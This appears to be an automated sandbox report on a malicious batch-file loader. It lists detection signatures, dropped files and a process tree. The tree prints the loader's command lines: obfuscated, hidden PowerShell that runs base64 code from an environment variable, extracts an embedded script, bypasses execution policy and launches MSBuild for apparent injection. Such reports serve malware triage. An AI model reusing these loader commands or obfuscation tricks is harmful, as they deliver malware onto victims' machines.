Analysis

  • max time kernel
    148s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260911-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    10/11/2026, 08:17

General

  • Target
    3126311780.bat
  • Size 549KB
  • Sample261110-j6s7psea62
  • SHA256 c7670dcff1f830ab802af3be6c652a3a8ed11d5d0ce8049bc8822fdf64bbf7d6
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
8/10

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

    Using powershell.exe command.

  • Suspicious use of SetThreadContext 1 IoCs
  • Launches sc.exe 2 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Executes a command shell one-liner 1 TTPs 7 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 1 IoCs

    Adversaries may check for Internet connectivity on compromised systems.

  • System Service Discovery 1 TTPs

    Adversaries may try to gather information about registered local system services.

  • Runs net.exe
  • Runs ping.exe 1 TTPs 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 9 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of WriteProcessMemory 25 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\3126311780.bat"
    1⤵
    • Executes a command shell one-liner
    • Suspicious use of WriteProcessMemory
    PID:5740
    • C:\Windows\system32\HOSTNAME.EXE
      hostname
      2⤵
        PID:4936
      • C:\Windows\system32\net.exe
        net session
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:5040
        • C:\Windows\system32\net1.exe
          C:\Windows\system32\net1 session
          3⤵
            PID:5812
        • C:\Windows\system32\sc.exe
          sc query type= driver
          2⤵
          • Launches sc.exe
          PID:2976
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c date /t
          2⤵
          • Executes a command shell one-liner
          PID:4308
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c date /t
          2⤵
          • Executes a command shell one-liner
          PID:4536
        • C:\Windows\system32\HOSTNAME.EXE
          hostname
          2⤵
            PID:5612
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "powershell" -win 1 -noni -c "IEX([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String($env:_73Db537)))"
            2⤵
            • Command and Scripting Interpreter: PowerShell
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of WriteProcessMemory
            PID:4440
            • C:\Windows\system32\cmd.exe
              "C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\3126311780.bat" afae7b7d30
              3⤵
              • Executes a command shell one-liner
              • Suspicious use of WriteProcessMemory
              PID:4924
              • C:\Windows\system32\HOSTNAME.EXE
                hostname
                4⤵
                  PID:4324
                • C:\Windows\system32\net.exe
                  net session
                  4⤵
                  • Suspicious use of WriteProcessMemory
                  PID:5356
                  • C:\Windows\system32\net1.exe
                    C:\Windows\system32\net1 session
                    5⤵
                      PID:3536
                  • C:\Windows\system32\sc.exe
                    sc query type= driver
                    4⤵
                    • Launches sc.exe
                    PID:5632
                  • C:\Windows\system32\cmd.exe
                    C:\Windows\system32\cmd.exe /c date /t
                    4⤵
                    • Executes a command shell one-liner
                    PID:2960
                  • C:\Windows\system32\cmd.exe
                    C:\Windows\system32\cmd.exe /c date /t
                    4⤵
                    • Executes a command shell one-liner
                    PID:2612
                  • C:\Windows\system32\HOSTNAME.EXE
                    hostname
                    4⤵
                      PID:1576
                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                      "powershell" -win 1 -noni -c "IEX([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String($env:_73Db537)))"
                      4⤵
                      • Command and Scripting Interpreter: PowerShell
                      • Suspicious behavior: EnumeratesProcesses
                      • Suspicious use of AdjustPrivilegeToken
                      • Suspicious use of WriteProcessMemory
                      PID:5024
                      • C:\Windows\System32\cmd.exe
                        "C:\Windows\System32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\axpw5nyc.qth\2uuq0mjf1ze.bat" OFa7tHwfmJ7
                        5⤵
                        • Executes a command shell one-liner
                        • Suspicious use of WriteProcessMemory
                        PID:1908
                        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -NonInteractive -WindowStyle Hidden -Command "Set-ExecutionPolicy Bypass -Scope Process -Force;$f=('Sys'+'tem.IO'+'.Fi'+'le')-as[type];$e=$env:_scriptOrigin;if($f::Exists($e)){$s=$f::ReadAllText($e);$p='::C'+'odeNot'+'ion::';$m=$s.IndexOf($p);if($m -ge 0){$f::WriteAllText($env:_EphemeralScript,$s.Substring($m+(0x1C -shr 1)))}}"
                          6⤵
                          • Command and Scripting Interpreter: PowerShell
                          • Suspicious behavior: EnumeratesProcesses
                          • Suspicious use of AdjustPrivilegeToken
                          PID:6008
                        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -NonInteractive -WindowStyle Hidden -Command "Set-ExecutionPolicy Bypass -Scope Process -Force; & 'C:\Users\Public\28203q20242.ps1'"
                          6⤵
                          • Command and Scripting Interpreter: PowerShell
                          • Suspicious use of SetThreadContext
                          • Suspicious behavior: EnumeratesProcesses
                          • Suspicious use of AdjustPrivilegeToken
                          • Suspicious use of WriteProcessMemory
                          PID:5936
                          • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe
                            C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe
                            7⤵
                              PID:4952
                          • C:\Windows\system32\PING.EXE
                            ping -n 8 127.0.0.1
                            6⤵
                            • System Network Configuration Discovery: Internet Connection Discovery
                            • Runs ping.exe
                            PID:1176

                Network

                      MITRE ATT&CK Enterprise v16

                      Replay Monitor

                      Loading Replay Monitor...

                      Downloads

                      StartupProfileData-NonInteractive

                      • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                      • Size 1KB
                      • SHA256 0d42b9406c37b48f29ed17aab32e8edb457fac9a5cf37b835fd4975aa8d49159
                      • MD5 SHA1 SHA512 TLSH

                      StartupProfileData-NonInteractive

                      • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                      • Size 1KB
                      • SHA256 1185f0a7f2eff30a109675e738cb61e145fc0ab5936ad30266b2d61980613a49
                      • MD5 SHA1 SHA512 TLSH

                      StartupProfileData-NonInteractive

                      • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                      • Size 1KB
                      • SHA256 41c59a73d29fe9a72437c323e3c89bda71c6987848a20016af52c6e2a57b4ba8
                      • MD5 SHA1 SHA512 TLSH

                      __PSScriptPolicyTest_adwdgrt1.hae.psm1

                      • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_adwdgrt1.hae.psm1
                      • Size 60B
                      • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                      • MD5 SHA1 SHA512 TLSH

                      2uuq0mjf1ze.bat

                      • Path C:\Users\Admin\AppData\Local\Temp\axpw5nyc.qth\2uuq0mjf1ze.bat
                      • Size 335KB
                      • SHA256 414e1b04b8fd9b5d44677b74c8dfb38659997cdeb34fc53cea4e6cded5c208dc
                      • MD5 SHA1 SHA512 SSDEEP TLSH

                      28203q20242.ps1

                      • Path C:\Users\Public\28203q20242.ps1
                      • Size 332KB
                      • SHA256 5d69187b25bf196a82d2984fba221f27250d425e8b587d71a765d0b54cea6ce0
                      • MD5 SHA1 SHA512 SSDEEP TLSH

                      memory/4440-6-0x00007FF9F4150000-0x00007FF9F4AF4000-memory.dmp

                      memory/4440-9-0x00007FF9F4150000-0x00007FF9F4AF4000-memory.dmp

                      memory/4440-10-0x00007FF9F4150000-0x00007FF9F4AF4000-memory.dmp

                      memory/4440-13-0x00007FF9F4150000-0x00007FF9F4AF4000-memory.dmp

                      memory/4440-12-0x00007FF9F4150000-0x00007FF9F4AF4000-memory.dmp

                      memory/4440-8-0x00007FF9F4150000-0x00007FF9F4AF4000-memory.dmp

                      memory/4440-7-0x00007FF9F4150000-0x00007FF9F4AF4000-memory.dmp

                      memory/4440-5-0x00007FF9F4150000-0x00007FF9F4AF4000-memory.dmp

                      memory/4440-3-0x0000029D72200000-0x0000029D72222000-memory.dmp

                      memory/4440-0-0x00007FF9F42DF000-0x00007FF9F42E0000-memory.dmp

                      memory/4440-4-0x00007FF9F4150000-0x00007FF9F4AF4000-memory.dmp

                      memory/4952-48-0x0000000000400000-0x000000000042E000-memory.dmp

                      memory/5936-42-0x0000029E41F10000-0x0000029E41F2C000-memory.dmp

                      memory/5936-41-0x0000029E419B0000-0x0000029E419BA000-memory.dmp

                      memory/5936-43-0x0000029E419C0000-0x0000029E419C8000-memory.dmp

                      memory/5936-44-0x0000029E419D0000-0x0000029E419D6000-memory.dmp

                      memory/5936-45-0x0000029E419E0000-0x0000029E419EA000-memory.dmp

                      memory/5936-46-0x0000029E419C0000-0x0000029E419DA000-memory.dmp

                      memory/5936-47-0x0000029E41930000-0x0000029E41938000-memory.dmp

                      memory/6008-26-0x0000021127E80000-0x0000021127E9E000-memory.dmp

                      memory/6008-25-0x0000021127E50000-0x0000021127E5A000-memory.dmp

                      memory/6008-24-0x0000021128110000-0x00000211281C2000-memory.dmp

                      memory/6008-23-0x0000021127E30000-0x0000021127E4E000-memory.dmp